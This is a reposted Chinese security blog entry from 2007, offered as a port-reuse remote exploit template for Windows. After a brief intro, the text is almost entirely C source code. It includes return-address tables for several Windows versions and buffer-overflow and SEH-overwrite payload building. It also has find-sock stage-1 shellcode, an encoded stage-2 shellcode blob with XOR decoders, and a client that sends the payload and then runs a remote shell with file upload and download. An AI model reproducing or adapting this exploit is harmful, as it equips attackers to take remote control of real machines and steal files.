注册
登录
| 关键词： 00 xff unsigned char printf buf shellcode 56 Buff define |
作者：刺 硬盘里有很多使用各种各样的技巧来实现端口复用的shellcode，都是以前写的。翻出来一个比较矬的，贴到这里。想扩展的朋友可以自己改。 这个shellcode也可以很方便的扩展为写C/S类型的exploit模板 这是 stage1 shellcode。 怀旧shellcode系列就贴到此为止了，老是在blog上贴这种代码似乎没什么人看。 /*author: [email protected]: Ph4nt0m Security Team(http://www.ph4nt0m.org)Date: 2007 */#include <stdio.h>#include <stdlib.h>#include <windows.h>#include <io.h>#pragma comment (lib,"ws2_32") struct OSTYPE{unsigned char ret[8];char des[255];}; OSTYPE os[] = {{"\xe1\x1e\xfa\x7f", "Windows CN ALL POP/POP/RET"},{"\x5a\x21\x01\x78", "Windows2000 SP3/SP4 ALL POP/POP/RET msvcrt.dll"},{"\x12\x45\xfa\x7f", "Windows CN JMPESP address from Chinese Ansi Code Page"},{"\x34\x33\x80\x7c", "Windows2003 CN SP1 CALL EAX"},{"\x9f\xd6\xc1\x77", "WindowsXP CN SP2 JMP EAX"},{"\x41\x42\x43\x44", "Ret Addr For Test"}}; #define POP_POP_RET "\xfd\x2e\x92\x7c" //pop ebp,pop ebx,ret xp sp2 cn char Payload[400] = ""; //server.exe #define Magic_Len 1102 // 1098 +4 = 1102 bytes put/get 文件传输，传输加密 Xor_key = 0x33char magic_shellcode[] ="axis\x53\xe9\xd3\x03\x00\x00\x5f\x64\xa1\x30\x00\x00\x00\x8b\x40\x0c""\x8b\x70\x1c\xad\x8b\x68\x08\x8b\xf7\x6a\x0e\x59\xe8\x73\x03\x00""\x00\xe2\xf9\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\xff\x16""\x8b\xe8\x6a\x0d\x59\xe8\x5a\x03\x00\x00\xe2\xf9\x83\xc4\x08\x5b""\x89\x5e\x70\x6a\x01\x6a\x00\x6a\x0c\x8b\xdc\x68\xff\x00\x00\x00""\x53\x8d\x56\x74\x52\x83\xc2\x04\x52\xff\x56\x0c\x68\x5c\x30\x00""\x00\x68\x70\x69\x70\x65\x68\x5c\x5c\x2e\x5c\x8b\xfc\x33\xc0\x50""\x50\x50\x50\x68\xff\x00\x00\x00\x50\x68\x03\x00\x00\x40\x57\xff""\x56\x10\x89\x86\x80\x00\x00\x00\x33\xc0\x50\x50\x6a\x03\x53\x50""\x68\x00\x00\x00\x02\x57\xff\x56\x24\x89\x46\x7c\x68\x63\x6d\x64""\x00\x8d\x14\x24\x83\xec\x54\x8b\xfc\x6a\x14\x59\x33\xc0\x89\x04""\x8f\xe2\xfb\xc6\x47\x10\x44\xfe\x47\x3c\xfe\x47\x3d\xff\x76\x78""\x5b\x89\x5f\x48\xff\x76\x7c\x5b\x89\x5f\x4c\x89\x5f\x50\x8d\x47""\x10\x57\x50\x51\x51\x51\x6a\x01\x51\x51\x52\x51\xff\x56\x04\xff""\x37\x8f\x86\x84\x00\x00\x00\xff\x77\x04\x8f\x86\x88\x00\x00\x00""\xff\x76\x78\xff\x56\x14\xff\x76\x7c\xff\x56\x14\x83\xc4\x6c\x33""\xc0\x50\x6a\x01\x6a\x01\x50\xff\x56\x18\x89\x86\x8c\x00\x00\x00""\x33\xdb\x89\x9e\xa4\x00\x00\x00\x89\x86\xa8\x00\x00\x00\xff\x56""\x58\x89\x86\x90\x00\x00\x00\xc7\x86\x94\x00\x00\x00\x00\x00\x00""\x00\x6a\x21\xff\xb6\x90\x00\x00\x00\xff\x76\x70\xff\x56\x5c\x33""\xc0\x48\x50\x40\x50\x8d\x9e\x8c\x00\x00\x00\x53\x6a\x02\xff\x56""\x1c\x50\x8d\x9e\xf0\x00\x00\x00\x53\xff\xb6\x90\x00\x00\x00\xff""\x76\x70\xff\x56\x60\x6a\x00\xff\xb6\x90\x00\x00\x00\xff\x76\x70""\xff\x56\x5c\x6a\x00\x54\x68\x7e\x66\x04\x80\xff\x76\x70\xff\x56""\x64\x58\x59\xe3\x5c\x49\x0f\x85\xdb\x00\x00\x00\x6a\x00\x6a\x40""\x8d\x96\xf0\x00\x00\x00\x52\xff\x76\x70\xff\x56\x50\x8d\x96\xf0""\x00\x00\x00\x50\x59\xe8\xe2\x01\x00\x00\x81\xbe\xf0\x00\x00\x00""\x67\x65\x74\x20\x0f\x84\xe4\x00\x00\x00\x81\xbe\xf0\x00\x00\x00""\x70\x75\x74\x20\x0f\x84\x43\x01\x00\x00\x6a\x00\x8d\x9e\xac\x00""\x00\x00\x53\x50\x8d\x9e\xf0\x00\x00\x00\x53\xff\x76\x74\xff\x56""\x2c\x8b\x8e\x94\x00\x00\x00\xe3\x1d\x50\x8d\x9e\xac\x00\x00\x00""\x53\x8d\x9e\x98\x00\x00\x00\x53\xff\xb6\x80\x00\x00\x00\xff\x56""\x20\x91\xe3\x63\xeb\x2e\x8d\x9e\x98\x00\x00\x00\x53\x8d\x9e\xac""\x00\x00\x00\x53\x6a\x40\x8d\x9e\xb0\x00\x00\x00\x53\xff\xb6\x80""\x00\x00\x00\xff\x56\x28\xff\x86\x94\x00\x00\x00\x85\xc0\x0f\x84""\xfd\xfe\xff\xff\x8d\x96\xb0\x00\x00\x00\xff\xb6\xac\x00\x00\x00""\x59\xe8\x46\x01\x00\x00\xff\x8e\x94\x00\x00\x00\x6a\x00\x8b\x9e""\xac\x00\x00\x00\x53\x8d\x9e\xb0\x00\x00\x00\x53\xff\x76\x70\xff""\x56\x54\xe9\xca\xfe\xff\xff\xff\xb6\x84\x00\x00\x00\xff\x56\x08""\xff\xb6\x84\x00\x00\x00\xff\xb6\x88\x00\x00\x00\xff\xb6\x80\x00""\x00\x00\xff\x76\x74\xff\x56\x14\xff\x56\x14\xff\x56\x14\xff\x56""\x14\xff\x76\x70\xff\x56\x68\x33\xc0\x48\x50\xff\x56\x08\xc6\x84""\x06\xef\x00\x00\x00\x00\x8d\x96\xf4\x00\x00\x00\x33\xc0\x50\x50""\x6a\x03\x50\x50\x68\x00\x00\x00\x02\x52\xff\x56\x24\x89\x46\x7c""\x6a\x00\x8d\x96\xac\x00\x00\x00\x52\x6a\x40\x8d\x96\xb0\x00\x00""\x00\x52\xff\x76\x7c\xff\x56\x28\x8b\x8e\xac\x00\x00\x00\xe3\x22""\x8d\x96\xb0\x00\x00\x00\xe8\xa1\x00\x00\x00\x6a\x00\xff\xb6\xac""\x00\x00\x00\x8d\x96\xb0\x00\x00\x00\x52\xff\x76\x70\xff\x56\x54""\xeb\xbe\xff\x76\x7c\xff\x56\x14\xe9\x24\xfe\xff\xff\xc6\x84\x06""\xef\x00\x00\x00\x00\x8d\x96\xf4\x00\x00\x00\x33\xc0\x50\x50\x6a""\x02\x50\x50\x68\x00\x00\x00\x02\x52\xff\x56\x24\x89\x46\x7c\x6a""\x00\x6a\x40\x8d\x96\xb0\x00\x00\x00\x52\xff\x76\x70\xff\x56\x50""\x8d\x96\xb0\x00\x00\x00\x50\x59\xe8\x3f\x00\x00\x00\x6a\x00\x8d""\x96\xac\x00\x00\x00\x52\x50\x8d\x96\xb0\x00\x00\x00\x52\xff\x76""\x7c\xff\x56\x2c\x6a\x00\x54\x68\x7f\x66\x04\x40\xff\x76\x70\xff""\x56\x64\x59\xe3\x02\xeb\xb8\xff\x76\x7c\xff\x56\x14\xc6\x86\xf0""\x00\x00\x00\x0a\x6a\x01\x58\xe9\x3e\xfe\xff\xff\x4a\x80\x34\x0a""\x33\xe2\xfa\xc3\x51\x56\x8b\x75\x3c\x8b\x74\x2e\x78\x03\xf5\x56""\x8b\x76\x20\x03\xf5\x33\xc9\x49\x41\xad\x03\xc5\x33\xdb\x0f\xbe""\x10\x3a\xd6\x74\x08\xc1\xcb\x07\x03\xda\x40\xeb\xf1\x3b\x1f\x75""\xe7\x5e\x8b\x5e\x24\x03\xdd\x66\x8b\x0c\x4b\x8b\x5e\x1c\x03\xdd""\x8b\x04\x8b\x03\xc5\xab\x5e\x59\xc3\xe8\x28\xfc\xff\xff\x32\x74""\x91\x0c\xc9\xbc\xa6\x6b\x8f\xf2\x18\x61\x4a\x79\x19\x7a\xa8\x4b""\x60\x9e\x57\x66\x0d\xff\x76\x91\x4d\x6d\x88\x58\xb3\xac\x8a\x87""\x66\x62\x93\x32\xe4\x94\xb2\x36\x0f\x13\xc4\x8d\x1f\x74\xd3\x88""\x28\x49\xa0\x65\x97\xcb\x3d\x6a\xb4\x80\x2d\x32\x78\xde\x98\xc4""\xb9\xde\x64\x10\xa7\xdd\x0c\x9f\xd3\x4b\xb1\x1e\x97\x01\x76\x90""\x97\xc7\x64\x98\x97\xdd\x96\xd5\xd5\xa8\x9c\x07\xdc\x5a\xd8\x10""\x27\xa7\x52\x83\xe9\xea\x4c\x0f\x29\xd1"; //char Payload[1600] = ""; //server_big.exe #define PROC_BEGIN __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90\__asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90#define PROC_END PROC_BEGIN unsigned char sh_Buff[2048]; // recv real shellcodeunsigned int sh_Len;unsigned int Enc_key=0x99; //其实无关紧要,动态寻找 #define Xor_key 0x33 //加密传输 unsigned char decode1[] =/*00401004 . /EB 0E JMP SHORT encode.0040101400401006 $ |5B POP EBX00401007 . |4B DEC EBX00401008 . |33C9 XOR ECX,ECX0040100A . |B1 FF MOV CL,0FF0040100C > |80340B 99 XOR BYTE PTR DS:[EBX+ECX],9900401010 .^|E2 FA LOOPD SHORT encode.0040100C00401012 . |EB 05 JMP SHORT encode.0040101900401014 > \E8 EDFFFFFF CALL encode.00401006*/"\xEB\x0E\x5B\x4B\x33\xC9\xB1""\xFF" // shellcode size"\x80\x34\x0B""\x99" // xor byte"\xE2\xFA\xEB\x05\xE8\xED\xFF\xFF\xFF"; unsignedchar decode2[] =/* ripped from eyas00406030 /EB 10 JMP SHORT 0040604200406032 |5B POP EBX00406033 |4B DEC EBX00406034 |33C9 XOR ECX,ECX00406036 |66:B9 6601 MOV CX,1660040603A |80340B 99 XOR BYTE PTR DS:[EBX+ECX],990040603E ^|E2 FA LOOPD SHORT 0040603A00406040 |EB 05 JMP SHORT 0040604700406042 \E8 EBFFFFFF CALL 00406032*/"\xEB\x10\x5B\x4B\x33\xC9\x66\xB9""\x66\x01" // shellcode size"\x80\x34\x0B""\x99" // xor byte"\xE2\xFA\xEB\x05\xE8\xEB\xFF\xFF\xFF"; // kernel32.dll functions index#define _LoadLibraryA 0x00#define _WaitForSingleObjectEx 0x04#define _Sleep 0x08 // ws2_32.dll functions index#define _recv 0x0c#define _ioctlsocket 0x10 // functions number#define _Knums 3#define _Wnums 2 // Need functionsunsigned char functions[100][128] ={// kernel32{"LoadLibraryA"},{"WaitForSingleObjectEx"},{"Sleep"},// ws2_32{"recv"},{"ioctlsocket"},{""},}; void PrintSc(unsigned char *lpBuff, int buffsize);void ShellCode(); // Get function hashunsigned long hash(unsigned char *c){unsigned long h=0;while(*c){h = ( ( h << 25 ) | ( h >> 7 ) ) + *c++;}return h;} // get shellcodevoid GetShellCode(){char *fnbgn_str="\x90\x90\x90\x90\x90\x90\x90\x90\x90";char *fnend_str="\x90\x90\x90\x90\x90\x90\x90\x90\x90";unsigned char *pSc_addr;unsigned char pSc_Buff[1024];unsigned int MAX_Sc_Len=0x2000;unsigned long dwHash[100];unsigned int dwHashSize; unsigned int l,i,j,k; // Get functions hashfor (i=0;;i++) {if (functions[i][0] == '\x0') break; dwHash[i] = hash(functions[i]);//fprintf(stderr, "%.8X\t%s\n", dwHash[i], functions[i]);}dwHashSize = i*4; // Deal with shellcodepSc_addr = (unsigned char *)ShellCode; for (k=0;k<MAX_Sc_Len;++k ) {if(memcmp(pSc_addr+k,fnbgn_str, 8)==0) {break;}}pSc_addr+=(k+8); // start of the ShellCode for (k=0;k<MAX_Sc_Len;++k) {if(memcmp(pSc_addr+k,fnend_str, 8)==0) {break;}}sh_Len=k; // length of the ShellCode memcpy(pSc_Buff, pSc_addr, sh_Len); // Add functions hashmemcpy(pSc_Buff+sh_Len, (unsigned char *)dwHash, dwHashSize);sh_Len += dwHashSize; printf("%d bytes shellcode\n", sh_Len);// print shellcodePrintSc(pSc_Buff, sh_Len); // find xor bytefor(i=0xff; i>0; i--){l = 0;for(j=0; j<sh_Len; j++){if (// ((pSc_Buff[j] ^ i) == 0x26) || //%// ((pSc_Buff[j] ^ i) == 0x3d) || //=// ((pSc_Buff[j] ^ i) == 0x3f) || //?((pSc_Buff[j] ^ i) == 0x40) || //@((pSc_Buff[j] ^ i) == 0x00) ||((pSc_Buff[j] ^ i) == 0x0D) ||((pSc_Buff[j] ^ i) == 0x3c) || // <((pSc_Buff[j] ^ i) == 0x3e) || // >((pSc_Buff[j] ^ i) == 0x2a) || // *((pSc_Buff[j] ^ i) == 0x3a) || // :((pSc_Buff[j] ^ i) == 0x20) || // 空格((pSc_Buff[j] ^ i) == 0x22) || // "((pSc_Buff[j] ^ i) == 0x0A) ||((pSc_Buff[j] ^ i) == 0x2F) || // /((pSc_Buff[j] ^ i) == 0x5C) // "\"){l++;break;};} if (l==0){Enc_key = i;//printf("Find XOR Byte: 0x%02X\n", i);for(j=0; j<sh_Len; j++){pSc_Buff[j] ^= Enc_key;} break; // break when found xor byte}} // No xor byte foundif (l!=0){//fprintf(stderr, "No xor byte found!\n"); sh_Len = 0;}else {//fprintf(stderr, "Xor byte 0x%02X\n", Enc_key); // encodeif (sh_Len > 0xFF) {*(unsigned short *)&decode2[8] = sh_Len;*(unsigned char *)&decode2[13] = Enc_key; memcpy(sh_Buff, decode2, sizeof(decode2)-1);memcpy(sh_Buff+sizeof(decode2)-1, pSc_Buff, sh_Len);sh_Len += sizeof(decode2)-1;}else {*(unsigned char *)&decode1[7] = sh_Len;*(unsigned char *)&decode1[11] = Enc_key; memcpy(sh_Buff, decode1, sizeof(decode1)-1);memcpy(sh_Buff+sizeof(decode1)-1, pSc_Buff, sh_Len);sh_Len += sizeof(decode1)-1;}}} // print shellcodevoid PrintSc(unsigned char *lpBuff, int buffsize){int i,j;char *p;char msg[4];fprintf(stderr, "/* %d bytes */\n",buffsize);for(i=0;i<buffsize;i++){if((i%16)==0)if(i!=0)fprintf(stderr, "\"\n\"");elsefprintf(stderr, "\"");sprintf(msg,"\\x%.2X",lpBuff[i]&0xff);for( p = msg, j=0; j < 4; p++, j++ ){if(isupper(*p))fprintf(stderr, "%c", _tolower(*p));elsefprintf(stderr, "%c", p[0]);}}fprintf(stderr, "\";\n");} // recv real shellcode functionvoid ShellCode(){__asm{ PROC_BEGIN //C macro to begin proc jmp locate_addrfunc_start:pop edi ; get eipmov eax, fs:30hmov eax, [eax+0Ch]mov esi, [eax+1Ch]lodsdmov ebp, [eax+8] ; base address of kernel32.dllmov esi, edipush _Knumspop ecx GetKFuncAddr: ; find functions from kernel32.dllcall find_hashfunc_addrloop GetKFuncAddr push 3233hpush 5F327377h ; ws2_32push espcall dword ptr [esi+_LoadLibraryA]mov ebp, eax ; base address of ws2_32.dllpush _Wnumspop ecx GetWFuncAddr: ; find functions from ws2_32.dllcall find_hashfunc_addrloop GetWFuncAddr //find_s:xor ebx, ebxpush 1000 ; sleep to wait for character sendcall dword ptr [esi+_Sleep] ; maybe it is necessary in real internet sub esp, 2000 ;在栈里分配空间，这里是2000 放在loop前比较稳定mov edi, esp ; 把edi指过来 find_s_loop:inc ebx ; socket push 1push 10push ebxcall dword ptr [esi+_WaitForSingleObjectEx] test eax, eax ; ensure ebx is socketjnz find_s_loop push 0push esp ; 指向命令参数的指针，这里最好找个为内容空的地址。push 4004667Fh ; FIONREADpush ebx ;socketcall dword ptr [esi+_ioctlsocket]pop ecx ; ensure this socket have 4 bit to readcmp ecx, Magic_Lenjne find_s_loop push 0push Magic_Len ;shellcode recv的长度push edi ;shellcode 要写入的地址，这里在栈里push ebxcall dword ptr [esi+_recv] mov esp, edipop eaxcmp eax, 73697861h ; recieve "axis"?jnz find_s_loop jmp esp ;直接jmp esp去执行我们的shellcode，因为前面的axis四字节，这里shellcode起址正好是esp // int 3 //0xcc 调试shellcode用 find_hashfunc_addr:push ecxpush esimov esi, [ebp+3Ch] ; e_lfanewmov esi, [esi+ebp+78h] ; ExportDirectory RVAadd esi, ebp ; rva2vapush esimov esi, [esi+20h] ; AddressOfNames RVAadd esi, ebp ; rva2vaxor ecx, ecxdec ecx find_start:inc ecxlodsdadd eax, ebpxor ebx, ebx hash_loop:movsx edx, byte ptr [eax]cmp dl, dhjz short find_addrror ebx, 7 ; hashadd ebx, edxinc eaxjmp short hash_loop find_addr:cmp ebx, [edi] ; compare to hashjnz short find_startpop esi ; ExportDirectorymov ebx, [esi+24h] ; AddressOfNameOrdinals RVAadd ebx, ebp ; rva2vamov cx, [ebx+ecx*2] ; FunctionOrdinalmov ebx, [esi+1Ch] ; AddressOfFunctions RVAadd ebx, ebp ; rva2vamov eax, [ebx+ecx*4] ; FunctionAddress RVAadd eax, ebp ; rva2vastosd ; function address save to [edi]pop esipop ecxretn locate_addr:call func_start PROC_END //C macro to end proc } }void Make_Payload(int q){// server.exememset(Payload, 0x90, sizeof(Payload)-1);memcpy(Payload + 52, &os[q].ret, 4);strcpy(Payload + 56, (const char *)sh_Buff);memcpy(Payload + 56 + strlen((const char *)sh_Buff), "\x90", 1); //为了填充strcpy shellcode后所造成的\x00 /*//server_big.exe jmp espmemset(Payload, 0x90, sizeof(Payload)-1);memcpy(Payload + 1204, &os[q].ret, 4);strcpy(Payload + 1208, (const char *)sh_Buff);memcpy(Payload + 1208 + strlen((const char *)sh_Buff), "\x90", 1);*/ /*// server_big.exe overwrite esp+8 (seh)// server_big.exe 覆盖 SEHmemset(Payload, 0x90, sizeof(Payload)-1);memcpy(Payload + 1204, POP_POP_RET, 4); //覆盖 eip pop/pop/retmemcpy(Payload + 1208, &os[q].ret, 4); // 覆盖 espmemcpy(Payload + 1212, &os[q].ret, 4); // 覆盖 esp+4memcpy(Payload + 1216, &os[q].ret, 4); // 覆盖 SEH jmp esp // memcpy(Payload + 1220, "\x00", 1);strcpy(Payload + 1220, (const char *)sh_Buff);memcpy(Payload + 1220 + strlen((const char *)sh_Buff), "\x90", 1);*/ PrintSc((unsigned char *)Payload, sizeof(Payload)); } // ripped from isnoint Make_Connection(char *address,int port,int timeout){struct sockaddr_in target;SOCKET s;int i;DWORD bf;fd_set wd;struct timeval tv; s = socket(AF_INET,SOCK_STREAM,0);if(s<0)return -1; target.sin_family = AF_INET;target.sin_addr.s_addr = inet_addr(address);if(target.sin_addr.s_addr==0){closesocket(s);return -2;}target.sin_port = htons(port);bf = 1;ioctlsocket(s,FIONBIO,&bf);tv.tv_sec = timeout;tv.tv_usec = 0;FD_ZERO(&wd);FD_SET(s,&wd);connect(s,(struct sockaddr *)&target,sizeof(target));if((i=select(s+1,0,&wd,0,&tv))==(-1)){closesocket(s);return -3;}if(i==0){closesocket(s);return -4;}i = sizeof(int);getsockopt(s,SOL_SOCKET,SO_ERROR,(char *)&bf,&i);if((bf!=0)||(i!=sizeof(int))){closesocket(s);return -5;}ioctlsocket(s,FIONBIO,&bf);return s;} void xor_buf(unsigned char *buf, int size){int i; for (i=0; i<size; i++) {buf[i] ^= Xor_key;} return;} /* ripped from TESO code and modifed by ey4s for win32 */void shell (int sock){int l,i,size=0,get_size=0;char buf[1024];char filename[128];HANDLE hFile;fd_set FdRead; struct timeval time;unsigned long ul[2]; time.tv_sec = 1;time.tv_usec = 0; while (1){ul[0] = 1;ul[1] = sock; l = select (0, (fd_set *)&ul, NULL, NULL, &time);if(l==1){l = recv (sock, buf, sizeof (buf), 0);if (l <= 0){printf ("[-] Connection closed.\n");return;} xor_buf((unsigned char *)buf, l);l = write (1, buf, l);if (l <= 0){printf ("[-] Connection closed.\n");return;}}else{l = read (0, buf, sizeof (buf));if (l <= 0){printf("[-] Connection closed.\n");return;} xor_buf((unsigned char *)buf, l);l = send(sock, buf, l, 0);if (l <= 0){printf("[-] Connection closed.\n");return;} xor_buf((unsigned char *)buf, l); //+--------------------------------------------// get xxx download xxx// put xxx upload xxx//+--------------------------------------------if (strncmp(buf, "get", 3) == 0){// obtain filenamebuf[l-1] = 0;for (i=l;i>0;i--) {if (buf[i] == '\\' || buf[i] == ' ') {break;}}strncpy(filename, buf+i+1, l-i-1); hFile = CreateFile(filename,GENERIC_READ|GENERIC_WRITE,FILE_SHARE_READ,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL|FILE_ATTRIBUTE_ARCHIVE,(HANDLE)NULL); if ( hFile == INVALID_HANDLE_VALUE ) {printf("Create File %s Error!\n", filename);continue;} size = 0; FD_ZERO(&FdRead);FD_SET(sock, &FdRead); for (;;) {l = recv(sock, buf, sizeof(buf), 0);xor_buf((unsigned char *)buf, l); WriteFile(hFile, buf, l, (unsigned long *)&i, NULL); size += i; l = select (0, &FdRead, NULL, NULL, &time); if (l != 1) {memset(buf, 0x0a, 1);xor_buf((unsigned char *)buf, 1);l = send(sock, buf, 1, 0);break;}} printf("Download remote file %s (%d bytes)!\n", filename, size); CloseHandle(hFile);}else if (strncmp(buf, "put", 3) == 0){Sleep(1000); // obtain filenamebuf[l-1] = 0;for (i=l;i>0;i--) {if (buf[i] == '\\' || buf[i] == ' ') {break;}}strncpy(filename, buf+i+1, l-i-1); // open filehFile = CreateFile(filename,GENERIC_READ|GENERIC_WRITE,FILE_SHARE_READ,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL|FILE_ATTRIBUTE_ARCHIVE,(HANDLE)NULL); if ( hFile == INVALID_HANDLE_VALUE ) {printf("Open File %s Error!\n", filename);continue;} size = 0; // read file and sendfor (;;){ReadFile(hFile, buf, 1024, (unsigned long *)&i, NULL); if (i == 0){break;} xor_buf((unsigned char *)buf, i);l = send(sock, buf, i, 0); size += l;} printf("Upload remote file %s (%d bytes)...", filename, size); l = recv (sock, buf, sizeof (buf), 0);xor_buf((unsigned char *)buf, l); l = write (1, buf, l); CloseHandle(hFile);}}}} void Disconnect(SOCKET s){closesocket(s);WSACleanup();} void help(char *n){printf("+--------------------------------------------------------+\n");printf(" Reuse port (Find Sock) Exploit by axis@ph4nt0m\n");printf(" Ver 1.0 Please Keep it Private!\n");printf("+--------------------------------------------------------+\n");printf(" Usage:\n");printf(" %s [Target IP] [Target Port] [OSType]\n\n", n);printf(" == OSType:\n");printf(" 0. Windows CN ALL SP1 POP/POP/RET \n");printf(" 1. Windows2000 SP3/SP4 ALL POP/POP/RET\n");printf(" 2. Windows CN ALL JMP ESP from ansi page\n");printf(" 3. Windows2003 CN SP1 CALL EAX\n");printf(" 4. WindowsXP CN SP2 JMP EAX\n");printf(" 5. TEST RET\n"); } int main(int argc, char *argv[]){unsigned short port = 25; SOCKET s;WSADATA WSAData; if(argc != 4){help(argv[0]);return 0;} if(argc == 4) port = atoi(argv[2]); GetShellCode();if (!sh_Len){printf("[-] Shellcode generate error.\n");exit(1);} printf("shellcode length is: %d \n",strlen((char *)sh_Buff)); if(WSAStartup (MAKEWORD(1,1), &WSAData) != 0){fprintf(stderr, "[-] WSAStartup failed.\n");WSACleanup();exit(1);} s = Make_Connection(argv[1], port, 10);if(s<0){fprintf(stderr, "[-] connect err.\n");exit(1);} //OS typeint p = 0;if(argc > 3)p = atoi(argv[3]); Make_Payload(p); //Send our evil Payloadprintf("[+]Sending our Evil Payload.\n"); send(s, Payload, sizeof(Payload), 0);Sleep(100); // send real shellcodesend(s, magic_shellcode, Magic_Len, 0); Sleep(1000); // use same socket to get shellshell(s); WSACleanup();return 1;} |
|
声明：文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|
